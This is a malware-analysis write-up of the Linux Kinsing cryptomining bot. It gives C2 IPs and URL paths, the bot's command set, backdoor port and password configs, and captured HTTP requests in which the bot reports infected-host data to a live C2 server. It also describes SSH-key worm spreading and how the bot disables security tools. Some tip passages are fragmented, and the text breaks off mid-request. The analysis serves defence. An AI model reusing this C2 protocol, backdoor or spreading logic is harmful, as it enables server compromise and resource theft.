Part I — Malware analysis
Read & use this knowledge with caution, this post is a Linux threat analysis education material
This is a public threat basis, there is no specific cases I handled is in relation to this threat, I have been kept following its progress for 4-5 years, and I think it is a good time to inform widely how dangerous the well-planned Linux malware/botnet would look like in this post. It has been more than six years since I finalized the first analysis and following it afterward. I have made sure that the botnet infrastructure described here is mostly inactive now, bare to old IOC for that is the safely state to share. And I think it is a good time for all of us to look back at how rude this malware was.
For learning and research reference, this material is a good example of how a Linux malware can do damage at multiple levels through worm-like infection stages — from one weak Redis or one leaked SSH key to a whole fleet of servers mining for somebody else.
Please do not use this report for bad purposes. The malicious scripts in this post are shown as images on purpose; they are here to be read and understood, not to be used nor run.
Linux/Kinsing is a Go-written ELF bot with remote command execution, coded by an actor who calls himself "nook" and operated by the SystemTen gang. The bot is mainly used to plant a tweaked XMRig miner, but it does much more than mining: encrypted C2 tasking, an on-demand backdoor, a SOCKS proxy, mass-scanning, Redis AUTH brute-forcing and SSH-key based spreading.
The infrastructure in this post is from the 2019–2020 case and is dead now, but the family is not. Kinsing (also tracked as H2Miner) kept evolving after this analysis, for example targeting Apache Tomcat servers in 2024 (Tenable) and running campaigns against companies in Russia in 2025 (F6 on Habr). So the techniques you will learn here are still relevant for defenders today.
What to learn here
// Threat information/bot scheme //
Read & use this knowledge with caution, this post is a Linux threat analysis education material
This chapter puts the whole case in one place: what this bot is, who coded it, where Patient-0 got it from and why it is dangerous. Every point is detailed in the later chapters.
SystemTen used new ELF bot with RCE function for mining support
They called this bot as "kinsing" coded by "nook"
The initial script installer & miner ELF file were embedded
It is an evolution moniker of this bot: https://imgur.com/a/H7YuWuj
Case detection dated: Dec, 2019. Threat origin: PRC/China
Patient0 had infection from pastebin at https://pastebin.com/f4fYBPLe
This bot has a built in function to scan+infect a weak auth redis system.
The massscan fucntion is downloading ssh scanner tool to be executing from the bot RCE.
RCE and backdoor function is lethal to the system infected by suid0, and-
critical infrastructure server's data can be posted to the C2 by backdoor or HTTP in encrypted form.
Severity: High.
The evolution of the bot's moniker is recorded here: imgur.com/a/H7YuWuj.
What to learn here
The sample is a big (16 MB+) statically compiled Go 1.13 ELF for x86-64, stripped. Go static binaries are fat because the whole runtime and every imported library are linked in. Most of the size is library code; the malicious logic sits in the main.* package.
▸ Binary information
MD5 6bffa50350be7234071814181277ae79 (VT has sample, not exclusive) SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0 ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped Size 16.28 MB (17072128 bytes) GoLang 1.13 static compiled ELF,
What to learn here
file output first. They are your pivot points for VirusTotal, sandboxes and colleagues. (Adding SHA-256 is today's standard.).gopclntab, so use Go-aware tooling (radare2 Go analysis, GoReSym, redress).▸ Major Functionality:
What to learn here
The C2 list is hardcoded in the binary as one string separated by ;http://. The bot simply tries the C2s one by one over plain HTTP on tcp/80.
▸ C2: (in bot)
45.10.88.102:80 91.215.169.111:80 139.99.50.255:80 46.243.253.167:80 195.123.220.193:80
▸ saved in this part
[0x01193247 [Xadvc]3 22% 2304 kinsing]> prx @ hit2_1 - offset - 0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF 0x01193247 45.10.88.102;http://91.215.169.111;http://139.99.50.255;http://4 0x01193287 6.243.253.167;http://195.123.220.193............................ 0x011932c7 ................................................................
What to learn here
/ http:// and then printing the hit) is often the fastest way to find C2s in a bot. Notice how the list is packed into one string.▸ Protocol
HTTP/1.1, port tcp/80
▸ user-agent
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
▸ http request header will contain the infected machine info:
Arch: {CPU Architecture}
Cores: {CPU Core numbers}
Mem: {Active allocable memory}
Os: {linux}
Osname: {distribution info}
Osversion: {OS version}
Root: {true|false}
Uuid: {BOT UUID}
Version: {28}
What to learn here
Arch, Cores, Mem, Os, Uuid, Version) are sent in clear text. They make a very reliable IDS signature even though the body is encrypted.▸ C2 comm data
all traffic data comm are encrypted with RSA, private key is in the bot binary
What to learn here
▸ related outgoing traffic IP:(from embeded & downloaded scripts, included attacker's made pool embedded miner, note: some are changed and gone now)
embeded, and downloaded scripts: 217.12.221.244:80 195.3.146.118:80 miner pools set by the bad actor: stratum+tcp: // 45[.]89.230.240:80 stratum+tcp: // 178[.]170.189.5:80 stratum+tcp: // 92[.]63.99.17:80
▸ miner ID
pass x 42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
What to learn here
Each C2 task arrives as a command keyword, and each keyword maps to a Go function in the main package. The table below pairs each original function with the command that triggers it.
▸ bot commands
BOT FUNCTIONS() , BOT COMMANDS ------------------------------- runTaskWithHttp() // "request" runTaskWithScan() // "scan" updateTask() // "update" startCmd() // "exec" execTaskOut() // "execoutput" runTask(),tcpTask()// "tcp" masscan() // "massscan" backconnect() // "backconn" socks() // "socks" makeClient() // "up" redisBrute() // redis_brute
What to learn here
▸ Some of bot actions fetched C2 traffic commands are actutally URLs the POST'ed commands on "s" and "o" which is sending data to C2 "h, get, hers" etc are using HTTP get spre.sh, al.sh, cron.sh and kinsing are downloading asked files
http://{C2-IP}/s => POST initial infection data
http://{C2-IP}/h => reply "c." (up)
http://{C2-IP}/get => receiving encrypted command
http://{C2-IP}/hers => UNKNOWN
http://{C2-IP}/mg => UNKNOWN
http://{C2-IP}2/o => post encrypted DATA
http://{C2-IP}/spre.sh => updater for kinsing installer script
http://{C2-IP}/al.sh => uninstaller for services like quartz etc
http://{C2-IP}/cron.sh => persistence installer
http://{C2-IP}/kinsing => update bot binary url
What to learn here
/s, /h, /get and /o are the bot's API. They are great for hunting in proxy logs: look for the paths together with the custom headers from the network chapter.The snippets below are memory captures taken while the bot was running, which is the forensic view of the same traffic. They show that the clear-text HTTP header leaks the victim's profile, while the body is encrypted.
▸ Snip of bot used send traffic command in forensics action (request to install crontab)
(request)
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
What to learn here
Server: nginx/1.14.2 and Last-Modified help you fingerprint and date the attacker's server.(post)
0xc000185000 504f 5354 202f 6f20 4854 5450 2f31 2e31 0d0a 486f POST /o HTTP/1.1..Ho 0xc000185014 7374 3a20 3931 2e32 3135 2e31 3639 2e31 3131 0d0a st: 91.215.169.111.. 0xc000185028 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 6c6c 612f User-Agent: Mozilla/ 0xc00018503c 352e 3020 2857 696e 646f 7773 204e 5420 3130 2e30 5.0 (Windows NT 10.0 0xc000185050 3b20 5769 6e36 343b 2078 3634 2920 4170 706c 6557 ; Win64; x64) AppleW 0xc000185064 6562 4b69 742f 3533 372e 3336 2028 4b48 544d 4c2c ebKit/537.36 (KHTML, 0xc000185078 206c 696b 6520 4765 636b 6f29 2043 6872 6f6d 652f like Gecko) Chrome/ 0xc00018508c 3738 2e30 2e33 3930 342e 3130 3820 5361 6661 7269 78.0.3904.108 Safari 0xc0001850a0 2f35 3337 2e33 360d 0a43 6f6e 7465 6e74 2d4c 656e /537.36..Content-Len 0xc0001850b4 6774 683a 2032 300d 0a41 7263 683a 2061 6d64 3634 gth: 20..Arch: amd64 0xc0001850c8 0d0a 436f 6e74 656e 742d 5479 7065 3a20 6170 706c ..Content-Type: appl 0xc0001850dc 6963 6174 696f 6e2f 6f63 7465 742d 7374 7265 616d ication/octet-stream 0xc0001850f0 0d0a 436f 7265 733a 2031 0d0a 4d65 6d3a 2032 3434 ..Cores: 1..Mem: 244 0xc000185104 0d0a 4f73 3a20 6c69 6e75 780d 0a4f 736e 616d 653a ..Os: linux..Osname: 0xc000185118 2064 6562 6961 6e0d 0a4f 7376 6572 7369 6f6e 3a20 debian..Osversion: 0xc00018512c 372e 3131 0d0a 526f 6f74 3a20 6661 6c73 650d 0a55 7.11..Root: false..U 0xc000185140 7569 643a 2033 3066 3433 3762 332d 6338 3836 2d34 uid: 30f437b3-c886-4 0xc000185154 6130 652d 3732 3334 2d34 6630 3335 3237 3833 3665 a0e-7234-4f03527836e 0xc000185168 370d 0a56 6572 7369 6f6e 3a20 3238 0d0a 4163 6365 7..Version: 28..Acce 0xc00018517c 7074 2d45 6e63 6f64 696e 673a 2067 7a69 700d 0a0d pt-Encoding: gzip... 0xc000185190 0a57 7a68 50cb 0cdf 76fb 128e d736 14b3 4aa1 2953 .WzhP...v....6..J.)S
What to learn here
(receiving instruction)
0xc000184000 4854 5450 2f31 2e31 2032 3030 204f 4b0d 0a53 6572 HTTP/1.1 200 OK..Ser 0xc000184014 7665 723a 206e 6769 6e78 2f31 2e31 302e 330d 0a44 ver: nginx/1.10.3..D 0xc000184028 6174 653a 2053 756e 2c20 3136 2046 6562 2032 3032 ate: Sun, 16 Feb 202 0xc00018403c 3020 3131 3a33 323a 3432 2047 4d54 0d0a 436f 6e74 0 11:32:42 GMT..Cont 0xc000184050 656e 742d 5479 7065 3a20 7465 7874 2f70 6c61 696e ent-Type: text/plain 0xc000184064 3b20 6368 6172 7365 743d 7574 662d 380d 0a43 6f6e ; charset=utf-8..Con 0xc000184078 7465 6e74 2d4c 656e 6774 683a 2032 0d0a 436f 6e6e tent-Length: 2..Conn 0xc00018408c 6563 7469 6f6e 3a20 6b65 6570 2d61 6c69 7665 0d0a ection: keep-alive.. 0xc0001840a0 0d0a 6313 577a 6850 cb0c df76 fb12 8ec7 2e10 b74a ..c.WzhP...v.......J 0xc0001840b4 a129 158e 17bc b9af b2ed e55c c645 9518 4e85 78da .).........\.E..N.x. 0xc0001840c8 9b95 2511 fe3f 87ae 13ac edbe baac 7270 04b4 2f62 ..%..?........rp../b 0xc0001840dc d8b5 2f8f 8680 9485 e0c9 5900 ee9f 26c0 fe2c 6f9b ../.......Y...&..,o. 0xc0001840f0 0d93 333b fbef ee7e 72d2 b8c4 7d4d 1716 5732 9f01 ..3;...~r...}M..W2.. 0xc000184104 c559 4064 d108 514a d02e eed5 3b9f 72b1 a212 bf2e [email protected]....;.r..... 0xc000184118 ee51 5a64 68ac 1b93 ac38 2001 b802 0fc0 4806 c1b1 .QZdh....8 .....H... 0xc00018412c f982 6b00 0000 0000 0000 0000 0000 0000 0000 0000 ..k.
What to learn here
Content-Type: text/plain on an encrypted binary blob is another anomaly worth a detection rule.▸ The bot is using RSA private key for C2 communication

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
What to learn here
This is the whole picture in one textual diagram. Read it from the top-left: the installer (or the Pastebin script) brings in the kinsing ELF; kinsing drops its embedded script and its embedded miner; the C2 command actions then branch out into script execution, cron persistence, mass-scanning, killing services and Redis AUTH brute-forcing. Finally spre.sh loops back to the installer for self-updating.
▸ BOT OVERALL DESIGN
kinsing — BOT OVERALL DESIGN
+--------------------+ | kinsing installer/ | +----------------------------------------<---------------------+ | pastebin script | | | +--------+-----------+ | | | v | | +------------------+ | +-> | kinsing ELF | | +---------> +------------------+ +----------------+ | | | embedded script +------> | /tmp/.ICEd-uni+---+ | | +------------------+ +----------------+ | | | | | +----------------+ | +------------------+ | | | embedded ELF +------> | /tmp/kdevtmpfs| +->| downloaded | | | +--------+---------+ | | | spre.sh (updater|-->-+ | | +----------------+ +------------------+ | | | | +-----------------------------+ +-------------------+ | | | C2 bot command's actions |----> |C2 script execution| | +------------> |-----------------------------| +-------------------+ | | | | | http://{C2-IP}/s | +-------------------+ | | http://{C2-IP}/h |----> |cron installer/sh | | | http://{C2-IP}/get | +-------------------+ | | http://{C2-IP}/hers | +-------------------+ +-----------<------------------------| http://{C2-IP}2/o |----> | massscan script | | http://{C2-IP}/spre.sh | +-------------------+ | http://{C2-IP}/al.sh | +-------------------+ | http://{C2-IP}/cron.sh |----> |svc uninstaller/sh | | http://{C2-IP}/kinsing | +-------------------+ | | +-------------------+ | |----> | Redis access brute| +-----------------------------+ +-------------------+
Legend: ■ boxes ■ flow ■ C2 URL actions ■ dropped files ■ components
What to learn here
spre.sh → installer loop (self-update). Loops like these make malware resilient, because cleaning one part is not enough.These are the original main.* function names recovered from the stripped Go binary, with their addresses. Go keeps function names in .gopclntab even when the binary is stripped, which is why reversing Go bots is easier than it first looks.
▸ Full list of original main functions used by kinsing bot
doTask = 0x0790B70 main = 0x0792560 redisBrute = 0x07A1A60 DownloadFile = 0x0799B40 Hosts = 0x07A2180 RC4 = 0x079A270 RandStringRunes = 0x07A2080 addResult = 0x079B1F0 backconnect = 0x079F2F0 checkHealth = 0x0798E80 connectForSocks = 0x079B420 contains = 0x07A2480 copyFileContents = 0x0795A70 doRequestWithTooManyOpenFiles = 0x079A420 downloadAndExecute = 0x07A1A10 encStruct = 0x0799A90 execTaskOut = 0x079C3B0 getMinerPid = 0x0798A40 getOrCreateListForTaskResult = 0x079B290 getOrCreateUuid = 0x079B7A0 getTargets = 0x07969B0 getTask = 0x0796530 getWriteableDir = 0x0795C40 hash_file_md5 = 0x07A2540 healthChecker = 0x07939C0 init = 0x07A49A0 init_0 = 0x0792380 isMinerRunning = 0x0793DA0 makeClient = 0x079A0C0 masscan = 0x079E5A0 minRun = 0x0794290 minerRunningCheck = 0x0793B20 move = 0x079B980 request = 0x079F340 resultSender = 0x079AD80 runTask = 0x079BB00 runTaskWithHttp = 0x079C400 runTaskWithScan = 0x079CCD0 runcmd = 0x0790F60 sendMinerPid = 0x0798600 sendResult = 0x0797A10 sendSocks = 0x0798130 setExecOutput = 0x07995E0 setLog = 0x0799160 socks = 0x079F2A0 startCmd = 0x07914A0 startCmdWithOutputSingle = 0x0791960 startSocks = 0x0795E40 taskScan = 0x079E2A0 taskWithHttpWorker = 0x079C9B0 taskWithScanWorker = 0x079D070 taskWorker = 0x079C0A0 tcpTask = 0x07A0A50 updateTask = 0x079D390
What to learn here
getTask, runTask*), mining (minRun, isMinerRunning), spreading (masscan, redisBrute), remote access (backconnect, socks) and housekeeping (healthChecker, getOrCreateUuid). This grouping becomes your report outline.RC4 and encStruct (crypto), and getWriteableDir (where it drops files).// Infection state (recorded test)//
Recorded test infection. The lsof view shows the lock file, the backdoor socket already LISTENing, the C2 sessions and a deleted work file under /tmp/.ICEd-unix/. The process tree shows kinsing re-forked and detached, living like a daemon under init.
kinsing 2721 MMD cwd DIR 8,1 4096 397369 /home/test kinsing 2721 MMD rtd DIR 8,1 4096 2 / kinsing 2721 MMD txt REG 8,1 17072128 396829 /home/test/kinsing kinsing 2721 MMD 0r CHR 1,3 0t0 1205 /dev/null kinsing 2721 MMD 1w CHR 1,3 0t0 1205 /dev/null kinsing 2721 MMD 2w CHR 1,3 0t0 1205 /dev/null kinsing 2721 MMD 3uW REG 0,15 0 5995 /run/lock/linux.lock kinsing 2721 MMD 4u 0000 0,9 0 1203 anon_inode kinsing 2721 MMD 7r IPv6 6357 0t0 TCP *:31652 (LISTEN) kinsing 2721 MMD 5r CHR 1,9 0t0 1210 /dev/urandom kinsing 2721 MMD 6u IPv4 6029 0t0 TCP 10.0.2.15:42646->91.215.169.111:80 (CLOSE_WAIT) kinsing 2721 MMD 9r IPv4 6671 0t0 TCP 10.0.2.15:42654->91.215.169.111:80 (ESTABLISHED) kinsing 2721 MMD 12r REG 8,1 4 1310783 /tmp/.ICEd-unix/259292916 (deleted) kinsing 2721 MMD 13u IPv4 6515 0t0 TCP 10.0.2.15:50261->217.12.221.244:80 (ESTABLISHED)
What to learn here
lsof -p <pid> is one of the best live-response commands on Linux. In one view you get files, sockets, the lock file and even deleted files that are still open.(deleted) can still be recovered from /proc/<pid>/fd/<n> while the process runs. Grab it before you kill the process!process tree after infection
init ├─udevd --daemon │ ├─udevd --daemon ├─rpcbind -w ├─rpc.statd ├─rpc.idmapd ├─rsyslogd -c5 │ └─3*[{rsyslogd}] ├─acpid ├─getty 38400 tty1 ├─getty 38400 tty2 ├─getty 38400 tty3 ├─getty 38400 tty4 ├─getty 38400 tty5 ├─getty 38400 tty6 | ├─kinsing <==== // after re-forked & detached from- │ └─5*[{kinsing] // environment, runs like daemon
What to learn here
// Infrastructure used by attacker//
All IPs found in the bot, its scripts and its miner configuration, with reverse DNS, ASN, prefix, AS name and country. The C2 and download servers are spread over hosting in UA, RU, NL, FR and LV.
45.10.88.102 | takewyn4.com.ntup.network. |48693 | 45.10.88.0/23 | NTSERVICE-AS | UA 91.215.169.111 | bh63797.dnsrus.net. |49693 | 91.215.168.0/22 | BEST-HOSTER | RU | 139.99.50.255 | ip255.ip-139-99-50.net. |16276 | 139.99.0.0/17 | OVH | FR | 46.243.253.167 | |58272 | 46.243.253.0/24 | LEADERTELECOMBV-AS | NL | 195.123.220.193 | vds-426960.hosted-by-itldc.com. |21100 | 195.123.216.0/21 | ITLDC-NL | UA | 217.12.221.244 | vds-448534.hosted-by-itldc.com. |15626 | 217.12.220.0/22 | ITLAS | UA | 195.3.146.118 | |41390 | 195.3.144.0/22 | RN-DATA- | LV | 45.89.230.240 | |51659 | 45.89.230.0/24 | ASBAXET | RU | 178.170.189.5 | |58272 | 178.170.189.0/24 | LEADERTELECOMBV-AS | NL | 92.63.99.17 | k0miza2.vps. |29182 | 92.63.96.0/21 | THEFIRST-AS | RU |
What to learn here
// the backdoor function //
The backdoor is not always on. It is opened on demand by the C2, and the port and password are chosen by the attacker for each session.
▸ socket opened at TCP binding
kinsing 2721 MMD 7r IPv6 6357 0t0 TCP *:31652 (LISTEN)
▸ checking
$ nc -v -v -v -z localhost 31652 localhost [127.0.0.1] 31652 (?) open scan test sent 10, rcvd 0 $
▸ backdoor, configuration cracked: :)
{
{
"Id":516,
"Data":""
}
"Pass":"qmjiHfuW",
"Port":31652
} keep-alive 31652
this backdoor is as the result of the function backconnect.
the trigger of the backdoor is the command from C2 called backconn.
the attacker will send the encrypted REST API and that will open the backdoor in the client.
the port number is depend on the attacker, no significant port is open.
Decrypted command from c2 will look like below:
{"Id":504,"Data":""}Pass":"SkMNRTlf","Port":31105}
it will include the port number and the password backdoor.
What to learn here
nc safely confirmed it was open. Cracking the config then explained why it opened. Use both: observe, then explain.// How the process works in steps //
Now let's follow the infection step by step, as recorded by syscall tracing and confirmed by memory forensics. Each sub-section follows the order in which things happen on the infected box.
▸ lock file:
/var/lock/linux.lock
▸ temp path:
/tmp/.ICEd-unix/
▸ drops uuid, miner and miner botnet scripts
/tmp/.ICEd-unix/uuid // bit ID (uuid)
/tmp/.ICEd-unix/{random} // shell scriptinstaller placeholder/work files
/tmp/kdevtmpfs (miner)
▸ info-reading
/etc//localtime /proc/stat /usr/bin/getconf -a /proc/meminfo uuid /etc/lsb-release /usr/local/bin/lsb_release /usr/bin/lsb_release /proc/meminfo /proc/filesystems",
What to learn here
/tmp/.ICEd-unix/ imitates the legitimate X11 directory /tmp/.ICE-unix/, and the miner name kdevtmpfsi imitates the kernel's kdevtmpfs. One letter of difference is a classic masquerading trick.▸ read all installed python tools & read package/arch/info etc
readlink("/usr/bin/python", "python2.7"..., 4096)
/usr/bin/python2.7
/usr/bin/Modules/Setup"
/usr/bin/lib/python2.7/os.py"
/usr/bin/lib/python2.7/lib-dynload"
:
execve("/usr/local/bin/dpkg-query"
execve("/usr/bin/dpkg-query",
open("/var/lib/dpkg/arch
open("/var/lib/dpkg/status"
/etc/oracle-release
/etc/enterprise-release",
/etc/slackware-version",
/etc/debian_version
"/usr/bin/raspi-config
/etc/debian_version
/var/lib/dpkg/updates/"
/var/lib/dpkg/triggers/File"
read(3, "/usr/share/info install-info\n/usr/man man-db\n/usr/share/man man-db\n
/usr/local/man man-db\n/usr/local/share/man man-db\n/usr/X11R6/man.....
/var/lib/dpkg/triggers/Unincorp"
What to learn here
/etc/*-release and dpkg files from an unknown process are suspicious.▸ Initial connect C2 like this:
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP)
setsockopt(6, SOL_SOCKET, SO_BROADCAST, [1], 4)
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("45.10.88.102")}, 16 <unfinished ...>
getsockopt(6, SOL_SOCKET, SO_ERROR, <unfinished ...>
close(6)
▸ (reconnect to other IP after failed w same method
▸ IF success C2 connect, it receives "up" sign
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.215.169.111")}, 16 <unfinished ...>
getpeername(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.215.169.111")}, [16]) = 0
write(6, "GET /h HTTP/1.1\r\nHost: 91.215.169.111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: amd64\r\n
Cores: 1\r\n
Mem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\n
Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");
read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:35:38 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 2\r\n
Connection: keep-alive\r\n\r\n
c\23", 4096)
▸ So the "h" command is replied by "c." for initial infection callback comm. decoded as "up", then it runs next related functions
write(6, "GET /get HTTP/1.1\r\nHost: 91.215.169.111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: amd64\r\n
Cores: 1\r\n
Mem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\n
Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");
read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:35:49 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 140\r\n
Connection: keep-alive\r\n\r\n
WzhP\313\f\337v\374\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\30N\205x\332\233\225%\21\376?\207\256\23\254\355
\276\262\254sz\7\241!\24\343\256:\202\310\230\237\202\347\300P\7\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\33\304
\17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\214[\5\201\354\342\3104\35", 4096) = 304
▸ unescape as encrypted:
WzhP313f337v37422216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?20725623254355
276262254sz7241!24343256:202310230237202347300P7364221P374344;k236K2138&365235321ct204240317`Ca+S:22533304
17Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35276224214[5201354342310435
What to learn here
▸ Receiving this response , the bot drops the random file with regex [A-za-z]{5} in below path:
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ the random file is the script embedded in the bot binary encoded by base64 and compressed with zlib, contents of shell script:
The script collects private keys, users, hosts and SSH ports from ~/.ssh/config, known_hosts, /etc/hosts, bash histories and running processes. It then tries every combination to push the installer to other machines. This is worm-like lateral movement that abuses keys the victim already trusts.

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
(forensics in action)

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
What to learn here
authorized_keys by source (from=), and watch for bursts of outgoing non-interactive SSH connections that skip host-key verification. Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ And that dropped script downloads spr.sh, noted :without "e" the spr.sh drom downloaded srcipt is updater, has uninstaller , bot killer and this downloaded script , it has a looong contents:
Highlights of spr.sh: it removes syslog, disables the firewall, SELinux and AppArmor, uninstalls Alibaba and Tencent cloud security agents, then kills a very long list of competing miners, botnets and Docker images. It re-downloads kinsing (with an MD5 check and three fallback URLs) and installs cron persistence. The image is scrollable; the key lines are highlighted.

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
What to learn here
▸ Then, this bot will send GET command to get more script, this time for cron installer:
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ this cron install script is executed in memory with
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ and will install cron using temporary storage at: (for forensics purpose)
open("crontabs/tmp.4J0udL",
What to learn here
▸ bot writes log file in a very crazy path: /dev/log informing latest activity
socket(PF_FILE, SOCK_DGRAM|SOCK_CLOEXEC, 0)
connect(3, {sa_family=AF_FILE, path="/dev/log"}, 110
sendto(3, "<78>Feb 13 09:24:08 crontab[7858]: (USERNAME) LIST (USERNAME)",
▸ it also informs C2 on successfully message too afterwards
7843 write(6, "POST /s HTTP/1.1\r\n
Host: 91.215.169.111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Content-Length: 50\r\n
Arch: amd64\r\n
Content-Type: application/octet-stream\r\n
Cores: 1\r\n
Mem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\nVersion: 28\r\n
Accept-Encoding: gzip\r\n
\r\n
WztG\214D\310|\355R\317\3372\7\2279\336)]\3030\263\246\263\361\263\230m\330n\246\5l\232
V\332\233\225%\f\343,\327\361S\356\372\260\273\340",
451 )
▸ unescape:
WztG214D310|355R317337272279336)]3030263246263361263230m330n2465l232V3 32233225%f343,327361S356372260273340
What to learn here
crontab[pid]: (USER) LIST), which is a forensic artifact even after the attacker cleans up.POST /s is the "I am infected and set up" report. Seeing it in proxy logs means the infection completed.▸ the other dropped file is the initial ELF miner, it uses the "/tmp" dir as path this happens after bot confirmed no miner is running
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ and then executed the miner
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ the miner binary was also actually embedded in kinsing bot as "mybot": below is PoC for embedded miner package, named as "My/Bot", the coder uses username "nook" and he is using Go lang ver 1.13
The miner is packed into the bot with pkger. The data below is the pkger index followed by the base64 of the ELF (rendered as an image, since it is the payload itself). It also leaks the coder's build path /home/nook/go/src/my/bot and the build timestamp (2019-12-29).

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ The size is about
> ? 0xc0006ae001 - 0xc000a7f915 = 4004116 0x3d1914 017214424 3.8M
▸ if decoded will show the miner ELF:
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ It is a tweaked XMRig
[0x00732868 [xAdvc]0 0% 180 eeeeelf]> pd $r @ str.XMRig_5.5.0___built_on_Dec_29_2019_with_GCC
;-- "XMRig 5.5.0\n built on Dec 29 2019 with GCC":
;-- hit0_1:
0x00732868 .string "XMRig 5.5.0\n built on Dec 29 2019 with GCC" ; len=43
0x00732893 0000 add byte [rax], al
0x00732895 0000 add byte [rax], al
0x00732897 ~ 006661 add byte [rsi + 0x61], ah
;-- "failed to export hwloc topology.\n":
0x00732898 .string "failed to export hwloc topology.\n" ; len=34
||||| 0x007328ba 0000 add byte [rax], al
||||| 0x007328bc 0000 add byte [rax], al
||||| 0x007328be 0000 add byte [rax], al
||||| ;-- "hwloc topology successfully exported to "%s"\n":
||||| 0x007328c0 .string "hwloc topology successfully exported to \"%s\"\n" ; len=46
|||| 0x007328ee 0000 add byte [rax], al
|||| ;-- "Unexpected end of regex when escaping.":
|||| 0x007328f0 .string "Unexpected end of regex when escaping." ; len=39
||| 0x00732917 ~ 00556e add byte [rbp + 0x6e], dl
||| ;-- "Unexpected end of regex when reading control code.":
||| 0x00732918 .string "Unexpected end of regex when reading control code." ; len=51
0x0073294b 00 invalid
0x0073294c 0000 add byte [rax], al
0x0073294e 0000 add byte [rax], al
;-- "Unexpected end of regex when ascii character.":
0x00732950 .string "Unexpected end of regex when ascii character." ; len=46
;-- "XMRIG_VERSION":
0x0073297e .string "XMRIG_VERSION" ; len=14
;-- "XMRIG_EXE_DIR":
0x0073298c .string "XMRIG_EXE_DIR" ; len=14
;-- "XMRIG_CWD":
0x0073299a .string "XMRIG_CWD" ; len=10
▸ miner sample hash:
MD5 5b439ea84bc00eb74217461d1c64342d SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
What to learn here
7f 45 4c 46) is worth learning to spot. Learn to recognize it, because it spots hidden ELF files inside scripts and binaries.▸ Other bot sent traffic: fetching for "al.sh" the uninstaller cloud services like qcloud, quartz etc
(in linux command)
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
(in forensics confirmation)
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
(in linux command)

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
(in forensics confirmation)

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ saving it and....
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ ...and executed it with sh
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
What to learn here
▸ send command "o" to the C2 for sending data only, it is result of "execoutput" bot command in example (below it regularly sending traffic.
write(6, "POST /o HTTP/1.1\r\n
Host: 91.215.169.111\r\n
